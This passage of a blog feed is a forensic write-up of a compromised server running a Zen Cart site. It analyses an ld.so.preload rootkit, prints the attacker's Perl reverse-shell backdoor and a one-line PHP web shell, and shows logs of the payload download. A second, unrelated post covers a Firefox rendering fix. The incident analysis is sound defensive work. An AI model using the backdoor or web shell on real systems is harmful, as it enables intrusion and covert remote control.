<p>Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of ld-linuxv.so.1, it became clear that it was a shared library based rootkit. Specifically, the intruder created the /etc/ld.so.preload file on the system with just one entry; the path of where he saved the ld-linuxv.so.1 shared library, namely /lib/ld-linuxv.so.1. This has the effect of preloading ld-linuxv.so.1 every single time a dynamically linked executable is run by a user. Using the well-known technique of <strong>dlsym(RTLD_NEXT, symbol)</strong>, in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the ld-linuxv.so.1 shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:<br />
<code>crypt<br />
readdir64<br />
__xstat64<br />
__l xstat64<br />
opendir<br />
login<br />
pututline<br />
open64<br />
pam_open_session<br />
pam_close_session<br />
syslog<br />
getspnam_r<br />
getspnam<br />
getpwnam<br />
pam_authenticate<br />
pam_get_item<br />
__libc_start_main<br />
read<br />
write<br />
accept</code></p>
<p>The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (&#8220;$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0&#8221;). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file <strong>/var/opt/_so_cache/lc </strong> for outgoing ssh connections, or to <strong>/var/opt/_so_cache/ld</strong> for incoming ones (sshd). These files are also kept hidden using the same approach as described above.</p>
<p><strong>III. How the rootkit was planted in the box</strong></p>
<p>While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening /mnt/part1/var/log/apache2/access.log.* didn&#8217;t provide any outcome at first sight, nothing really striking out, but when I opened /mnt/part1/var/log/apache2/error.log.1 I faced these entries at the bottom:</p>
<blockquote><p>&#8211;01:05:38&#8211;  http://ABCDEFGHIJ.150m.com/foobar.ext<br />
=&gt; `foobar.ext&#8217;<br />
Resolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br />
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 695 [text/plain]<br />
foobar.ext: Permission denied</p>
<p>Cannot write to `foobar.ext&#8217; (Permission denied).<br />
&#8211;01:05:51&#8211;  http://ABCDEFGHIJ.150m.com/foobar.ext<br />
=&gt; `foobar.ext&#8217;<br />
Resolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br />
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 695 [text/plain]</p>
<p>0K                                                       100%   18.61 MB/s</p>
<p>01:05:51 (18.61 MB/s) &#8211; `foobar.ext&#8217; saved [695/695]</p>
<p>&#8211;01:17:14&#8211;  http://ABCDEFGHIJ.150m.com/foobar.ext<br />
=&gt; `foobar.ext&#8217;<br />
Resolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br />
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 695 [text/plain]<br />
foobar.ext: Permission denied</p>
<p>Cannot write to `foobar.ext&#8217; (Permission denied).<br />
&#8211;01:17:26&#8211;  http://ABCDEFGHIJ.150m.com/foobar.ext<br />
=&gt; `foobar.ext&#8217;<br />
Resolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br />
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 695 [text/plain]</p>
<p>0K                                                       100%   25.30 MB/s</p>
<p>01:17:26 (25.30 MB/s) &#8211; `foobar.ext&#8217; saved [695/695]</p></blockquote>
<p>So this was the entrance point. Someone got through a web app to the box and was able to run code.<br />
I downloaded &#8220;foobar.ext&#8221; from the same url and it was a perl script.</p>
<blockquote><p>#!/usr/bin/perl<br />
# Data Cha0s Perl Connect Back Backdoor Unpublished/Unreleased Source<br />
# Code</p>
<p>use Socket;</p>
<p>print &#8220;[*] Dumping Arguments\n&#8221;;</p>
<p>$host = &#8220;A.B.C.D&#8221;;<br />
$port = XYZ;</p>
<p>if ($ARGV[1]) {<br />
$port = $ARGV[1];<br />
}<br />
print &#8220;[*] Connecting&#8230;\n&#8221;; $proto = getprotobyname(&#8216;tcp&#8217;) || die(&#8220;[-] Unknown Protocol\n&#8221;);</p>
<p>socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (&#8220;[-] Socket Error\n&#8221;);</p>
<p>my $target = inet_aton($host);</p>
<p>if (!connect(SERVER, pack &#8220;SnA4&#215;8&#8243;, 2, $port, $target)) {<br />
die(&#8220;[-] Unable to Connect\n&#8221;);<br />
}<br />
print &#8220;[*] Spawning Shell\n&#8221;;</p>
<p>if (!fork( )) {<br />
open(STDIN,&#8221;&gt;&amp;SERVER&#8221;);<br />
open(STDOUT,&#8221;&gt;&amp;SERVER&#8221;);<br />
open(STDERR,&#8221;&gt;&amp;SERVER&#8221;);<br />
exec {&#8216;/bin/sh&#8217;} &#8216;-bash&#8217; . &#8220;\0&#8243; x 4;<br />
exit(0);<br />
}</p></blockquote>
<p>Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.<br />
Here are some entries:</p>
<blockquote><p>A.B.C.D &#8211; - [15/Aug/2009:01:05:33 +0300] &#8220;GET http://www.domain.com/admin/ HTTP/1.1&#8243; 302 &#8211; &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br />
A.B.C.D &#8211; - [15/Aug/2009:01:05:34 +0300] &#8220;POST http://www.domain.com/admin/record_company.php/password_forgotten.php?action=insert HTTP/1.1&#8243; 200 303 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br />
A.B.C.D &#8211; - [15/Aug/2009:01:05:34 +0300] &#8220;GET http://www.domain.com/images/imagedisplay.php HTTP/1.1&#8243; 200 131 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br />
A.B.C.D &#8211; - [15/Aug/2009:01:05:38 +0300] &#8220;GET http://www.domain.com/images/imagedisplay.php HTTP/1.1&#8243; 200 &#8211; &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br />
A.B.C.D &#8211; - [15/Aug/2009:01:05:47 +0300] &#8220;GET http://www.domain.com/images/imagedisplay.php HTTP/1.1&#8243; 200 52 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br />
A.B.C.D &#8211; - [15/Aug/2009:01:05:50 +0300] &#8220;GET http://www.domain.com/images/imagedisplay.php HTTP/1.1&#8243; 200 &#8211; &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br />
A.B.C.D &#8211; - [15/Aug/2009:01:05:51 +0300] &#8220;GET http://www.domain.com/images/imagedisplay.php HTTP/1.1&#8243; 200 59 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;</p></blockquote>
<p>The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of <a href="http://www.zen-cart.com/">zen-cart</a>. The first result of googling for &#8220;<a href="http://www.google.gr/search?q=zencart+record_company">zencart record_company</a>&#8221; is this: <a href="http://www.securityfocus.com/bid/35467">Zen Cart &#8216;record_company.php&#8217; Remote Code Execution Vulnerability</a>.  So that&#8217;s exactly how they were able to run code as the apache2 user.</p>
<p>Opening images/imagedisplay.php shows the following code:<br />
<code>&lt;?php system($_SERVER["HTTP_SHELL"]); ?&gt;</code><br />
This code allows running commands using the account of the user running the apache2 server.</p>
<p><em><strong>Part 3: Conclusion and food for thought</strong></em><br />
<strong>To conclude on what happened:</strong><br />
1) The attacker used the <strong>zencart</strong> vulnerability to create the <strong>imagedisplay.php</strong> file.<br />
2) Using the imagedisplay.php file he was able to make the server download <strong>foobar.ext</strong> from his server.<br />
3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a <strong>reverse shell</strong>. He could now connect to the machine.<br />
4) Using some <strong>local exploit</strong>(s) he was probably able to become root.<br />
5) Since he was root he uploaded/compiled <strong>ld-linuxv.so.1</strong> and he created <strong>/etc/ld.so.preload</strong>. Now every executable would first load this &#8220;trojaned&#8221; library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit <img src='http://www.void.gr/kargig/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Fortunately the rootkit had problems and if /var/opt/_so_cache/ directory was not manually created it couldn&#8217;t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.</p>
<p>If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he/she put a link to the analysis as a comment on this blog.</p>
<p><em><strong>Part 4: Files</strong></em></p>
<p>In the following tar.gz you will find the ld-linuxv.so.1 library and the perl script foobar.ext (Use at your own risk. Attacker&#8217;s host/ip have been removed from the perl script):<strong><a href='http://www.void.gr/kargig/blog/wp-content/linuxv-rootkit.tar.gz'>linuxv-rootkit.tar.gz</a></strong></p>
<p><strong>Many many thanks</strong> to <a href="mailto:argp[at]census-labs[dot]com">argp</a> of <a href="http://census-labs.com/">Census Labs</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/08/21/theres-a-rootkit-in-the-closet/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>Fixing image distortion on websites using Firefox/Iceweasel 3.5 on Debian testing with intel xorg driver</title>
		<link>http://www.void.gr/kargig/blog/2009/08/19/fixing-image-distortion-on-websites-using-firefoxiceweasel-3-5-on-debian-testing-with-intel-xorg-driver/</link>
		<comments>http://www.void.gr/kargig/blog/2009/08/19/fixing-image-distortion-on-websites-using-firefoxiceweasel-3-5-on-debian-testing-with-intel-xorg-driver/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 16:21:46 +0000</pubDate>
		<dc:creator>kargig</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[3.5]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[bugzilla]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[distortion]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[exa]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[iceweasel]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[intel]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[swiftfox]]></category>
		<category><![CDATA[xaa]]></category>
		<category><![CDATA[xorg]]></category>

		<guid isPermaLink="false">http://www.void.gr/kargig/blog/?p=720</guid>
		<description><![CDATA[Lately I noticed some image distortion appearing on some websites using my laptop with Debian squeeze. Menus on swiftfox did not appear as they should, some logos appeared out of their place and there were artifacts and other annoying things. For example Planet Gnome looked like this:

When using iceweasel 3.0.12 everything looked fine. Then I [...]]]></description>
			<content:encoded><![CDATA[<p>Lately I noticed some image distortion appearing on some websites using my laptop with Debian squeeze. Menus on swiftfox did not appear as they should, some logos appeared out of their place and there were artifacts and other annoying things. For example Planet Gnome looked like this:<br />
<a href="http://www.void.gr/kargig/blog/wp-content/image-distortion.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/image-distortion-300x183.jpg" alt="image-distortion" title="image-distortion" width="300" height="183" class="alignnone size-medium wp-image-721" /></a><br />
When using iceweasel 3.0.12 everything looked fine. Then I followed a<a href="http://www.debiantoday.com/how-to-install-iceweasel-3-5-on-lenny/"> guide to install Iceweasel 3.5 from experimental</a> to my system. Images looked distorted again. So there must have been a problem with the latest xulrunner&#8230;.</p>
<p>After some googling I bumped into <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=491871">Debian bug #491871 &#8211; [965GM EXA] display corruption with xulrunner 1.9</a>. Following <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=491871#67">post #67</a> on that thread I was able to repair my xorg.conf to something that fixed the image distortion. Now Planet Gnome looks like this:<br />
<a href="http://www.void.gr/kargig/blog/wp-content/no-image-distortion.jpg"><img src="http://www.void.gr/kargig/blog/wp-content/no-image-distortion-300x183.jpg" alt="no-image-distortion" title="no-image-distortion" width="300" height="183" class="alignnone size-medium wp-image-723" /></a></p>
<p>Some info:</p>
<blockquote><p># apt-cache policy iceweasel xserver-xorg-video-intel xulrunner-1.9.1<br />
<strong>iceweasel:</strong><br />
  Installed: 3.5.1-1<br />
  Candidate: 3.5.1-1<br />
  Version table:<br />
 *** 3.5.1-1 0<br />
          1 http://ftp.debian.org experimental/main Packages<br />
        100 /var/lib/dpkg/status<br />
     3.0.12-1 0<br />
        500 http://ftp.de.debian.org squeeze/main Packages<br />
         99 http://ftp.de.debian.org sid/main Packages<br />
<strong>xserver-xorg-video-intel:</strong><br />
  Installed: 2:2.3.2-2+lenny6<br />
  Candidate: 2:2.3.2-2+lenny6<br />
  Version table:<br />
     2:2.8.0-2 0<br />
         99 http://ftp.de.debian.org sid/main Packages<br />
 *** 2:2.3.2-2+lenny6 0<br />
        500 http://ftp.de.debian.org squeeze/main Packages<br />
        100 /var/lib/dpkg/status<br />
<strong>xulrunner-1.9.1:</strong><br />
  Installed: 1.9.1.1-2<br />
  Candidate: 1.9.1.1-2<br />
  Version table:<br />
 *** 1.9.1.1-2 0<br />
          1 http://ftp.debian.org experimental/main Packages<br />
        100 /var/lib/dpkg/status
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.void.gr/kargig/blog/2009/08/19/fixing-image-distortion-on-websites-using-firefoxiceweasel-3-5-on-debian-testing-with-intel-xorg-driver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
